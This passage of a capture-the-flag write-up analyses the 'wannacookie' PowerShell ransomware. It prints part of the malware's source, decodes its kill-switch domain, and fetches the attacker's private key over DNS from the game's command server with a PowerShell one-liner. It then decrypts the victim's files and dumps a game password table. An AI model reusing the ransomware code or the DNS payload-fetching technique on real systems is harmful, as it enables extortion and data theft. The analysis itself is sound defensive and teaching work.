                } else {
                    $html = "Invalid Key!"
                }
            } elseif ($received -eq 'GET /close') {
                $close = $true
                $html = $htmlcontents[$received]
            } elseif ($received -eq 'GET /cookie_is_paid') {
                $cookie_and_key = $(Resolve-DnsName -Server erohetfanu.com -Name ("$cookie_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings
                if ( $cookie_and_key.length -eq 32 ) {
                    $html = $cookie_and_key
                } else {
                    $html = "UNPAID|$cookie_id|$date_time"
                }
            } else {
                $Resp.statuscode = 404
                $html = '<h1>404 Not Found</h1>'
            }
            $buffer = [Text.Encoding]::UTF8.GetBytes($html)
            $Resp.ContentLength64 = $buffer.length
            $Resp.OutputStream.Write($buffer, 0, $buffer.length)
            $Resp.Close()
            if ($close) {
                $listener.Stop()
                return
            }
        }
    } finally {
        $listener.Stop()
    }    
}
wannacookie

A static analysis of the code reveals the following functionality (30,000 ft view):

  1. Perform a DNS query, and if it returns a result, stop running
  2. Check to make sure we're executing in the KRINGLECASTLE domain, otherwise stop running
  3. Download the public key from the malware server over DNS
  4. Generate a random key to encrypt files with
  5. Encrypt the file encryption key with the public key in the certificate
  6. Send the encrypted file encryption key to the server
  7. Fetch a list of files ending in .elfdb in the user's home directory
  8. Encrypt any matching files
  9. Clear the unencrypted file encryption key from memory
  10. Open a web listener to handle additional functions like displaying the ransom demands, and checking whether the ransom has been paid

We also notice some additional hex encoded strings. Here's a summary of all the strings we've encountered so far:

hex-encoded text text purpose
7365727665722E637274 server.crt Download malware public certificate
77616E6E61636F6F6B69652E6D696E2E707331 wannacookie.min.ps1 Download minified ransomware
77616E6E61636F6F6B69652E707331 wannacookie.ps1 Download unminified ransomware
6B696C6C737769746368 killswitch Check if killswitch should be activated
6B6579666F72626F746964 keyforbotid Transmit encryption key to the server
72616e736f6d697370616964 ransomispaid Check server for status of ransom payment

The kill switch is what we're after in this step, but the hostname name that triggers it (stored in $S1) is obfuscated in multiple layers of encoding. There are a couple ways we could approach this without some serious reverse-engineering: 1) allow the code to run in a test environment while running a packet capture and see what's in the DNS request, or 2) let the malware do the heavy lifting for us! If we load wannacookie.ps1 into a Powershell ISE, which comes with Windows 10, we can use the debugger to control the flow of the program and run just the parts we want.

We need the program to run as far as setting the $S1 variable, and then we'll take it from there. Load the script and add a breakpoint on the line that contains the killswitch step.

if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) { return };

When it hits the breakpoint and throws you the debugger prompt, simply copy and paste the code that performs the DNS lookup and see what it says.

Hit Line breakpoint on 'C:\hhc18\wannacookie.ps1:107'

[DBG]: PS C:\hhc18>> $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
yippeekiyaa.aaay

Just for fun, let's examine what's happening here:

  1. Start with $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000"
  2. Run $S1 through the H2B function (convert hex to bytes)
  3. Run resulting value through the G2B function (gzip decompress)
  4. Run resulting value through the B2H function (convert bytes to hex)
  5. Run resulting value through the ti_rox (xor_it backward!) function. This requires a little more explanation. The function takes two hex strings: one is the result from step 4, the other is the result of a DNS TXT query for 6B696C6C737769746368.erohetfanu.com, which is "66667272727869657268667865666B73", which is a hex encoded text string "ffrrrxierhfxefks". It runs both values through the H2B (hex to bytes) function, and then returns the result of a XOR operation of one against the other.
  6. Run resulting value through the B2H function again (convert bytes to hex)
  7. Finally, run resulting value through the H2A function (hex to ), and voila, we have yippeekiyaa.aaay!

Clark Grizwald

Once we register the yippeekiyaa.aaay domain at HoHoHoDaddy, we get a message Successfully registered yippeekiyaa.aaay! which completes the part of the objective.

Part 4: Recover the Password

Problem

Recover Alabaster's password as found in the the encrypted password vault.

Solution

The last bit of the challenge is to decrypt Alabaster's password vault, which the wannacookie malware encrypted. We don't want to pay the ransom, so let's see if we can find a way around that.

Wannacookie employs public key cryptography to protect the symmetric key it uses to encrypt and decrypt files. Theoretically, by encrypting the file encryption key with the attacker's public key, only the attacker can then decrypt it using his private key.

As we see in the static analysis above, one of the first things wannacookie does is download a certificate from the DNS server. The certificate contains the attacker's public key.

$pub_key = [System.Convert]::FromBase64String($(get_over_dns("7365727665722E637274") ) )

"7365727665722E637274" is hex-encoded text string "server.crt", which is a common filename used to store a public key. Usually right along side of this file on the server would be server.key, which is the private key.

What do you suppose would happen if we asked for server.key ("7365727665722e6b6579")? To make things easy, we re-use the dropper code from step 2:

PS C:\hhc18> function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "7365727665722e6b6579"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; ($(H2A $h | Out-string))

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEiNzZVUbXCbMG
L4sM2UtilR4seEZli2CMoDJ73qHql+tSpwtK9y4L6znLDLWSA6uvH+lmHhhep9ui
W3vvHYCq+Ma5EljBrvwQy0e2Cr/qeNBrdMtQs9KkxMJAz0fRJYXvtWANFJF5A+Nq
jI+jdMVtL8+PVOGWp1PA8DSW7i+9eLkqPbNDxCfFhAGGlHEU+cH0CTob0SB5Hk0S
TPUKKJVc3fsD8/t60yJThCw4GKkRwG8vqcQCgAGVQeLNYJMEFv0+WHAt2WxjWTu3
HnAfMPsiEnk/y12SwHOCtaNjFR8Gt512D7idFVW4p5sT0mrrMiYJ+7x6VeMIkrw4
tk/1ZlYNAgMBAAECggEAHdIGcJOX5Bj8qPudxZ1S6uplYan+RHoZdDz6bAEj4Eyc
0DW4aO+IdRaD9mM/SaB09GWLLIt0dyhRExl+fJGlbEvDG2HFRd4fMQ0nHGAVLqaW
OTfHgb9HPuj78ImDBCEFaZHDuThdulb0sr4RLWQScLbIb58Ze5p4AtZvpFcPt1fN
6YqS/y0i5VEFROWuldMbEJN1x+xeiJp8uIs5KoL9KH1njZcEgZVQpLXzrsjKr67U
3nYMKDemGjHanYVkF1pzv/rardUnS8h6q6JGyzV91PpLE2I0LY+tGopKmuTUzVOm
Vf7sl5LMwEss1g3x8gOh215Ops9Y9zhSfJhzBktYAQKBgQDl+w+KfSb3qZREVvs9
uGmaIcj6Nzdzr+7EBOWZumjy5WWPrSe0S6Ld4lTcFdaXolUEHkE0E0j7H8M+dKG2
Emz3zaJNiAIX89UcvelrXTV00k+kMYItvHWchdiH64EOjsWrc8co9WNgK1XlLQtG
4iBpErVctbOcjJlzv1zXgUiyTQKBgQDaxRoQolzgjElDG/T3VsC81jO6jdatRpXB
0URM8/4MB/vRAL8LB834ZKhnSNyzgh9N5G9/TAB9qJJ+4RYlUUOVIhK+8t863498
/P4sKNlPQio4Ld3lfnT92xpZU1hYfyRPQ29rcim2c173KDMPcO6gXTezDCa1h64Q
8iskC4iSwQKBgQCvwq3f40HyqNE9YVRlmRhryUI1qBli+qP5ftySHhqy94okwerE
KcHw3VaJVM9J17Atk4m1aL+v3Fh01OH5qh9JSwitRDKFZ74JV0Ka4QNHoqtnCsc4
eP1RgCE5z0w0efyrybH9pXwrNTNSEJi7tXmbk8azcdIw5GsqQKeNs6qBSQKBgH1v
sC9DeS+DIGqrN/0tr9tWklhwBVxa8XktDRV2fP7XAQroe6HOesnmpSx7eZgvjtVx
moCJympCYqT/WFxTSQXUgJ0d0uMF1lcbFH2relZYoK6PlgCFTn1TyLrY7/nmBKKy
DsuzrLkhU50xXn2HCjvG1y4BVJyXTDYJNLU5K7jBAoGBAMMxIo7+9otN8hWxnqe4
Ie0RAqOWkBvZPQ7mEDeRC5hRhfCjn9w6G+2+/7dGlKiOTC3Qn3wz8QoG4v5xAqXE
JKBn972KvO0eQ5niYehG4yBaImHH+h6NVBlFd0GJ5VhzaBJyoOk+KnOnvVYbrGBq
UdrzXvSwyFuuIqBlkHnWSIeC
-----END PRIVATE KEY-----

So we retreived the attacker's private key. I'm sure he didn't mean to leave that lying around! Now if we can get our hands on some data that was encrypted with the server's public key (specifically, the file encryption key), then we should be able to decrypt it.

We know from our static analysis that the encryption key is cleared from memory after the files are encrypted, so we're not going to find that key anywhere in memory. However, the encrypted key ($Pub_key_encrypted_Key) is not cleared from memory, so it should be in the memory dump file that Alabaster provided.

$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()

Using the debugger again, we can check to see what the encrypted file encryption key looks like. In order to get the malware to run far enough, we'll need to comment out the kill switch that checks to see if the computer is a member of the KRINGLECASTLE domain.

#if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {return}

Now create a breakpoint right after the $Pub_key_encrypted_key variable is set, and run the program. When you hit the breakpoint, take a look inside $Pub_key_encrypted_key to see what the value of that variable is.

Encrypted Key as seen in debugger

As you can see, the is 512 bytes in length and is made up of hexadecimal characters. Use the PowerDump tool that was introduced in Chris Davis' KringleCon talk to search through Alabaster's memory dump for a variable containing data matching those characteristics.

To keep this brief, I've cut out all of the menus and am displaying only the options and commands that were run in Powerdump, along with some explaination of what we're doing:

==============================
 |  __ \
 | |__) |____      _____ _ __
 |  ___/ _ \ \ /\ / / _ \ '__|
 | |  | (_) \ V  V /  __/ |
 |_|   \___/ \_/\_/ \___|_|
 __                       __
 \ \         (   )       / /
  \ \_    (   ) (      _/ /
   \__\    ) _   )    /__/
      \\    ( \_     //
       `\ _(_\ \)__ /'
         (____\___))
  _____  _    _ __  __ _____
 |  __ \| |  | |  \/  |  __ \
 | |  | | |  | | \  / | |__) |
 | |  | | |  | | |\/| |  ___/
 | |__| | |__| | |  | | |
 |_____/ \____/|_|  |_|_|
Dumps PowerShell From Memory
==============================

: 1 (Load PowerShell Memory Dump File)

: ld c:\hhc18\forensic_artifacts\powershell.exe_181109_104716.dmp (Load Alabaster's dump file)

: b (Back to previous menu)

: 2 (Process the dump file)

: 4 (Search/Dump Stored PS Variables)

: len == 512 (Set search criteria for values that are 512 bytes long)

: matches "^[a-fA-F0-9]*$" (Set search criteria for values containing only hexadecimal characters)

: print (Print all of the matching values found)

This produces the following output:

3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971
Variable Values #1 above ^
Type any key to go back and just Enter to Continue...

Since we only came up with one matching value, we'll have to assume that's the one we're looking for.

To make it easy to use the private key, we can import it into the Windows certificate store. First, create a PKCS #12 format file to hold the certificate and private key.

C:\hhc18> openssl pkcs12 -export -out wannacookie.pfx -inkey server.key -in server.crt

Import this into the current user's Personal certificate store using the Certificates MMC add-on.

Certificate Manager

Now modify the malware a little bit to reverse the encryption. Make a copy of the wannacookie.ps1 file and remove the wannacookie function. This will give us access to all of the program's other functions so we don't have to reinvent the wheel entirely. Then, add the following code at the end of the file:

$encrypted_key = '3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971';

$encrypted_key_bytes = $(H2B $encrypted_key);

$cert = Get-ChildItem Cert:\CurrentUser\My\ `
| Where-Object {$_.Subject -like "O=Internet Widgits Pty Ltd*"}

$akey = $cert.PrivateKey.Decrypt($encrypted_key_bytes, $true)

[array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) `
-Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } `
| Foreach-Object {$_.Fullname})

enc_dec $akey $allcookies $false

What does this do?

  1. Create a variable to hold the encrypted file encryption key obtained from Alabaster's memory dump
  2. Process the encrypted key through the H2B (hex to bytes) function provided by the malware
  3. Fetch the certificate (which now also contains the private key) from the current user's certificate store and place it in $cert
  4. Decrypt the file encryption key and store it in $akey
  5. Using the original code from the malware, create a list of files in the user's profile containing *.wannacookie
  6. Pass the decrypted file encryption key (now in $akey) along with the list of files to the enc_dec function

After running the modified code, I can now see that the .wannacookie extension has been removed from Alabaster's elfdb password file!

The first few bytes of the file indicate that this is a SQLite database file, so we'll have to load the file into SQLite and run a query to pull out the data.

C:\SQLite>sqlite3.exe
SQLite version 3.26.0 2018-12-01 12:34:55
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open C:/Users/IEUser/Documents/forensic_artifacts/alabaster_passwords.elfdb
sqlite> .schema
CREATE TABLE IF NOT EXISTS "passwords" (
        `name`  TEXT NOT NULL,
        `password`      TEXT NOT NULL,
        `usedfor`       TEXT NOT NULL
);
sqlite> select * from passwords;
alabaster.snowball|CookiesR0cK!2!#|active directory
alabaster@kringlecastle.com|KeepYourEnemiesClose1425|www.toysrus.com
alabaster@kringlecastle.com|CookiesRLyfe!*26|netflix.com
alabaster.snowball|MoarCookiesPreeze1928|Barcode Scanner
alabaster.snowball|ED#ED#EED#EF#G#F#G#ABA#BA#B|vault
alabaster@kringlecastle.com|PetsEatCookiesTOo@813|neopets.com
alabaster@kringlecastle.com|YayImACoder1926|www.codecademy.com
alabaster@kringlecastle.com|Woootz4Cookies19273|www.4chan.org
alabaster@kringlecastle.com|ChristMasRox19283|www.reddit.com

Amongst a list of other passwords, we can see that the vault password for alabaster.snowball is ED#ED#EED#EF#G#F#G#ABA#BA#B, which completes this final part of the objective.